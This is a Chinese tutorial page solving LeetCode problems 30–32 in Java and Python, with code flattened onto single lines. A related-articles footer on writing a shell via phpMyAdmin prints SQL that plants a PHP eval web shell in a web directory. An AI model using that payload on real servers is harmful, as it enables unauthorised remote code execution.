力扣大厂热门面试算法题 30-32

        30. 串联所有单词的子串,31. 下一个排列 ,32. 最长有效括号,每题做详细思路梳理,配套Python&Java双语代码, 2024.03.15 可通过leetcode所有测试用例。

目录

30. 串联所有单词的子串

解题思路

完整代码

Java

Python

31. 下一个排列

解题思路

完整代码

Java

Python

32. 最长有效括号

解题思路

完整代码

Java

Python


30. 串联所有单词的子串

给定一个字符串 s 和一个字符串数组 words words 中所有字符串 长度相同

 s 中的 串联子串 是指一个包含  words 中所有字符串以任意顺序排列连接起来的子串。

  • 例如,如果 words = ["ab","cd","ef"], 那么 "abcdef", "abefcd""cdabef", "cdefab""efabcd", 和 "efcdab" 都是串联子串。 "acdbef" 不是串联子串,因为他不是任何 words 排列的连接。

返回所有串联子串在 s 中的开始索引。你可以以 任意顺序 返回答案。

示例 1:

输入:s = "barfoothefoobarman", words = ["foo","bar"]
输出:[0,9]
解释:因为 words.length == 2 同时 words[i].length == 3,连接的子字符串的长度必须为 6。
子串 "barfoo" 开始位置是 0。它是 words 中以 ["bar","foo"] 顺序排列的连接。
子串 "foobar" 开始位置是 9。它是 words 中以 ["foo","bar"] 顺序排列的连接。
输出顺序无关紧要。返回 [9,0] 也是可以的。

示例 2:

输入:s = "wordgoodgoodgoodbestword", words = ["word","good","best","word"]
输出:[]
解释:因为 words.length == 4 并且 words[i].length == 4,所以串联子串的长度必须为 16。
s 中没有子串长度为 16 并且等于 words 的任何顺序排列的连接。
所以我们返回一个空数组。

示例 3:

输入:s = "barfoofoobarthefoobarman", words = ["bar","foo","the"]
输出:[6,9,12]
解释:因为 words.length == 3 并且 words[i].length == 3,所以串联子串的长度必须为 9。
子串 "foobarthe" 开始位置是 6。它是 words 中以 ["foo","bar","the"] 顺序排列的连接。
子串 "barthefoo" 开始位置是 9。它是 words 中以 ["bar","the","foo"] 顺序排列的连接。
子串 "thefoobar" 开始位置是 12。它是 words 中以 ["the","foo","bar"] 顺序排列的连接。

解题思路

  1. 理解问题:给定一个主字符串 s 和一个字符串数组 wordswords 中所有字符串长度相同。需要找到 s 中所有包含 words 中所有字符串以任意顺序连接形成的子串的起始索引。

  2. 初始化:由于 words 中的所有字符串长度相同,我们可以计算出每个串联子串的总长度,即 wordLength * words.size()。接下来,我们可以在主字符串 s 中遍历长度为此值的所有子串。

  3. 滑动窗口:使用滑动窗口的方法来检查 s 中的每个可能的子串。窗口大小为串联子串的总长度。

  4. 哈希表:使用两个哈希表,一个用来存储 words 数组中单词的出现次数,另一个用来存储当前窗口中与 words 中单词相匹配的单词出现次数。

  5. 遍历:从 s 的第0个字符开始,遍历到 s.length() - windowSize 为止。对于每个可能的子串,使用哈希表来检查是否包含了 words 中所有单词的正确数量。如果是,则将当前子串的起始索引添加到结果列表中。

  6. 返回结果:遍历完成后,返回所有找到的起始索引。

完整代码

Java
public class Solution {public List<Integer> findSubstring(String s, String[] words) {List<Integer> result = new ArrayList<>();if (s == null || s.length() == 0 || words == null || words.length == 0) {return result;}int wordLen = words[0].length();int windowLen = wordLen * words.length;Map<String, Integer> wordMap = new HashMap<>();for (String word : words) {wordMap.put(word, wordMap.getOrDefault(word, 0) + 1);}for (int i = 0; i <= s.length() - windowLen; i++) {Map<String, Integer> seenWords = new HashMap<>();int j = 0;while (j < words.length) {String word = s.substring(i + j * wordLen, i + (j + 1) * wordLen);if (wordMap.containsKey(word)) {seenWords.put(word, seenWords.getOrDefault(word, 0) + 1);if (seenWords.get(word) > wordMap.get(word)) {break;}} else {break;}j++;}if (j == words.length) {result.add(i);}}return result;}
}
Python
class Solution:def findSubstring(self, s: str, words: List[str]) -> List[int]:if not s or not words:return []word_length = len(words[0])word_count = len(words)window_length = word_length * word_countword_map = {}for word in words:if word in word_map:word_map[word] += 1else:word_map[word] = 1results = []for i in range(len(s) - window_length + 1):seen_words = {}for j in range(0, window_length, word_length):word = s[i + j:i + j + word_length]if word in word_map:if word in seen_words:seen_words[word] += 1else:seen_words[word] = 1if seen_words[word] > word_map[word]:breakelse:breakelse:results.append(i)return results

31. 下一个排列

整数数组的一个 排列  就是将其所有成员以序列或线性顺序排列。

  • 例如,arr = [1,2,3] ,以下这些都可以视作 arr 的排列:[1,2,3][1,3,2][3,1,2][2,3,1] 。

整数数组的 下一个排列 是指其整数的下一个字典序更大的排列。更正式地,如果数组的所有排列根据其字典顺序从小到大排列在一个容器中,那么数组的 下一个排列 就是在这个有序容器中排在它后面的那个排列。如果不存在下一个更大的排列,那么这个数组必须重排为字典序最小的排列(即,其元素按升序排列)。

  • 例如,arr = [1,2,3] 的下一个排列是 [1,3,2] 。
  • 类似地,arr = [2,3,1] 的下一个排列是 [3,1,2] 。
  • 而 arr = [3,2,1] 的下一个排列是 [1,2,3] ,因为 [3,2,1] 不存在一个字典序更大的排列。

给你一个整数数组 nums ,找出 nums 的下一个排列。

必须 原地 修改,只允许使用额外常数空间。

示例 1:

输入:nums = [1,2,3]
输出:[1,3,2]

示例 2:

输入:nums = [3,2,1]
输出:[1,2,3]

示例 3:

输入:nums = [1,1,5]
输出:[1,5,1]

解题思路

  1. 从右向左查找:首先从数组的末尾开始向前查找,找到第一个不满足递增关系的元素,记为 nums[i]。这意味着从 nums[i+1]nums[n-1](其中 n 是数组的长度)这部分是按降序排列的。

  2. 查找交换位置:如果找到了这样的 nums[i],再次从数组的末尾开始向前查找,找到第一个大于 nums[i] 的元素,记为 nums[j]

  3. 交换元素:交换 nums[i]nums[j]

  4. 反转子数组:最后,将从 i+1 到数组末尾的部分反转,因为原来这部分是降序的,反转之后变为升序,这样就可以得到下一个排列。

        如果整个数组都是降序排列的,那么它已经是最大的排列,按照题目要求,应该重排为最小排列,即其元素按升序排列。这可以通过直接反转整个数组来实现。

完整代码

Java
public class Solution {public void nextPermutation(int[] nums) {int i = nums.length - 2;while (i >= 0 && nums[i] >= nums[i + 1]) {i--;}if (i >= 0) {int j = nums.length - 1;while (nums[j] <= nums[i]) {j--;}swap(nums, i, j);}reverse(nums, i + 1);}private void swap(int[] nums, int i, int j) {int temp = nums[i];nums[i] = nums[j];nums[j] = temp;}private void reverse(int[] nums, int start) {int i = start, j = nums.length - 1;while (i < j) {swap(nums, i, j);i++;j--;}}
}
Python
class Solution:def nextPermutation(self, nums: List[int]) -> None:"""Do not return anything, modify nums in-place instead."""# Step 1: 从右向左找到第一个不是递增的数字i = len(nums) - 2while i >= 0 and nums[i] >= nums[i + 1]:i -= 1# Step 2: 如果找到了这样的数字,再找一个比它大的最小数字进行交换if i >= 0:j = len(nums) - 1while nums[j] <= nums[i]:j -= 1# 交换这两个数字nums[i], nums[j] = nums[j], nums[i]# Step 3: 将 i 之后的数字反转,确保是下一个最小的排列left, right = i + 1, len(nums) - 1while left < right:nums[left], nums[right] = nums[right], nums[left]left, right = left + 1, right - 1

32. 最长有效括号

给你一个只包含 '(' 和 ')' 的字符串,找出最长有效(格式正确且连续)括号

子串

的长度。

示例 1:

输入:s = "(()"
输出:2
解释:最长有效括号子串是 "()"

示例 2:

输入:s = ")()())"
输出:4
解释:最长有效括号子串是 "()()"

示例 3:

输入:s = ""
输出:0

解题思路

我们可以使用栈。栈可以帮助我们跟踪未匹配的括号,并且可以用来找出有效子串的长度。具体的做法如下:

  1. 初始化:创建一个栈,并将 -1 推入栈中。这一步是为了在一开始时,栈底有一个元素,便于后面计算长度。

  2. 遍历字符串:遍历给定字符串的每个字符。

    • 如果当前字符是 '(',将其索引推入栈中。
    • 如果当前字符是 ')',首先弹出栈顶元素。
      • 如果此时栈变为空,将当前索引推入栈中。这是因为这个右括号可能是下一个有效子串的起始点的前一个位置。
      • 如果栈不为空,则计算当前有效子串的长度,方法是当前索引减去栈顶元素。更新最长有效括号子串的长度。
  3. 返回结果:在遍历完整个字符串后,最长有效括号子串的长度就被找到了。

完整代码

Java

public class Solution {public int longestValidParentheses(String s) {int maxLength = 0;Stack<Integer> stack = new Stack<>();stack.push(-1);  // 初始时压入-1,便于后续计算长度for (int i = 0; i < s.length(); i++) {char c = s.charAt(i);if (c == '(') {stack.push(i);  // 将左括号的索引压入栈中} else {stack.pop();  // 遇到右括号,弹出栈顶元素if (stack.isEmpty()) {stack.push(i);  // 如果栈为空,压入当前索引作为新的基准} else {maxLength = Math.max(maxLength, i - stack.peek());  // 计算当前有效子串长度}}}return maxLength;}
}
Python
class Solution:def longestValidParentheses(self, s: str) -> int:max_length = 0stack = [-1]for i, char in enumerate(s):if char == '(':stack.append(i)else:stack.pop()if not stack:stack.append(i)else:max_length = max(max_length, i - stack[-1])return max_length

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748391.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Sora学习手册

一&#xff0c;基本介绍 在2024年2月16日&#xff0c;Open AI宣布推出全新的生成式人工智能模型"Sora"。据了解,通过文 本指令&#xff0c;Sora 可以直接输出长达60秒的视频&#xff0c;并且包含高度细致的背景、复杂的多角度镜头,以 及富有情感的多个角色。 这意味…

【Java】String字符串及常用API

目录 一、字符串 1、 字符串是常量&#xff0c;不可改变 2、创建字符串的方式&#xff1a; 3、StringBuilder和StringBuffer 二、String字符串常用方法 1、以指定字符串开头或结尾startsWith、endWith 2、字符串截取 substring(beginIndex,endIndex)/substring(beginInd…

算法笔记 连载中。。。

HashMap&#xff08;会根据key值自动排序&#xff09; HashMap<String, Integer> hash new HashMap<>() hash.put(15,18) hash.getOrDefault(ts, -1) //如果ts(key)存在&#xff0c;返回对应的value 否则返回-1 hashMap1.get(words1[i])1会报错&#xff0c;因…

AcWing 848. 有向图的拓扑序列

#include<iostream> #include<cmath> #include<queue> #include<cstring> #include<cstdlib> #include<algorithm> using namespace std; const int N1e510; int n,m,a,b; int e[N],ne[N],h[N],idx; int d[N],top[N],cnt1;//top是拓扑排序…

Linux学习笔记:什么是文件描述符

什么是文件描述符 C语言的文件接口文件的系统调用什么是文件描述符,文件描述符为什么是int类型?为什么新打开的文件的文件描述符不是从0开始? 文件描述符 fd (file descriptor) C语言的文件接口 当时学习C语言的时候,学习了文件接口 具体可以查看之前的文章: 链接:C语言的文…

flask库

文章目录 flask库1. 基本使用2. 路由路径和路由参数3. 请求跳转和请求参数4. 模板渲染1. 模板变量2. 过滤器3. 测试器 5. 钩子函数与响应对象 flask库 flask是python编写的轻量级框架&#xff0c;提供Werkzeug&#xff08;WSGI工具集&#xff09;和jinjia2&#xff08;渲染模板…

【基于PSINS】误差计算函数

输入真值 (参考值)、对比量、待比较值,输出误差的最大值、平均值、标准差的函数 程序源码 function [err] = EV_error_output(out_flag,avp_flag,avp,varargin) % draw_flag:以字符串的形式输入绘图的数据,eg:["EKF","UKF"] % avp:基准 % avp_:…

【PyTorch】基础学习:在Pycharm等IDE中打印或查看Pytorch版本信息

【PyTorch】基础学习&#xff1a;在Pycharm等IDE中打印或查看Pytorch版本信息 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1…

机器硬件命令

一、查看机器核数 有以下几种方法 1、lscpu命令 lscpu命令可以显示关于CPU的信息&#xff0c;包括核数、线程数等。在终端中输入以下命令即可查看CPU核数&#xff1a;该命令会输出CPU每个物理插槽的核数。 lscpu | grep "Core(s) per socket" | awk {print $NF} …

PHPadmin写shell的方法

一、常规导入 shell 的操作创建数据表导出 shell CREATE TABLE mysql.shadow9 (content TEXT NOT NULL ); INSERT INTO mysql.shadow9 (content ) VALUES (‘<?php eval($_POST[pass]);?>’); SELECT content FROM shadow9 INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.…

C++中实现String类

String类实现 概述示例开发环境代码运行结果 注意 概述 本文主要记录自己实现一个String类中的部分功能。 示例 开发环境 Windows下Visual Studio 2019。 代码 MyString.h #pragma once #include <iostream>class MyString{ public:MyString();MyString(char *p);…

github登录时解决2FA问题

使用Edge浏览器下载插件 https://microsoftedge.microsoft.com/addons/detail/authenticator-2fa-client/ocglkepbibnalbgmbachknglpdipeoio 下载后弹框会显示是否添加&#xff0c;添加。如下&#xff1a; Chrome下 https://chrome.google.com/webstore/detail/authenticator…

数据结构维度的索引及其应用场景

B树索引 B树索引是MySQL中广泛采用的数据结构&#xff0c;它将所有实际数据存储在叶子节点上&#xff0c;形成一个有序链表结构。B树索引的查询复杂度为O(logn)&#xff0c;非常适合执行范围查询操作&#xff0c;因其索引结构能高效地对区间内的数据进行遍历。 B树索引特点&a…

ipv6【H3C笔记】

ipv6地址 一&#xff0c;配置 int g0/0 ipv6 address auto 【r1】 dis ipv6 int g0/0 #查看自动获取到的IP地址 二&#xff0c;检查 在另一台路由器【r2】上做相同操作 【R2】ping ipv6 -i g0/0 r1的ipv6地址 # 对于自动获取到ipv6地址&#xff0c…

景联文科技:提供通用多模态数据,助力AI多模态领域实现飞跃式发展

回顾2023年&#xff0c;以ChatGPT为代表的通用人工智能大模型在全球范围内掀起了新一轮人工智能产业发展浪潮&#xff0c;我国人工智能大模型市场呈现百“模”争鸣、日新月异的迅猛发展态势。 根据大模型之家、钛媒体数据&#xff0c;2023年中国大模型市场规模达到147亿人民币&…

wsl ubuntu 安装的正确方式

目录 wsl ubuntu 安装的正确方式: 将wsl2设置为默认版本: 1、打开powershell

Elasticsearch:从 Java High Level Rest Client 切换到新的 Java API Client

作者&#xff1a;David Pilato 我经常在讨论中看到与 Java API 客户端使用相关的问题。 为此&#xff0c;我在 2019 年启动了一个 GitHub 存储库&#xff0c;以提供一些实际有效的代码示例并回答社区提出的问题。 从那时起&#xff0c;高级 Rest 客户端 (High Level Rest Clie…

vizro,一个有趣的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个有趣的 Python 库 - vizro。 Github地址&#xff1a;https://github.com/mckinsey/vizro 在当今数据驱动的世界中&#xff0c;数据可视化扮演着至关重要的角色。它不仅可以…

Python 3 教程(6)

Python3 字符串 字符串是 Python 中最常用的数据类型。我们可以使用引号( 或 " )来创建字符串。 创建字符串很简单,只要为变量分配一个值即可。例如: var1 =

JavaScript PAT乙级题解 1036 跟奥巴马一起编程

美国总统奥巴马不仅呼吁所有人都学习编程&#xff0c;甚至以身作则编写代码&#xff0c;成为美国历史上首位编写计算机代码的总统。2014 年底&#xff0c;为庆祝“计算机科学教育周”正式启动&#xff0c;奥巴马编写了很简单的计算机代码&#xff1a;在屏幕上画一个正方形。现在…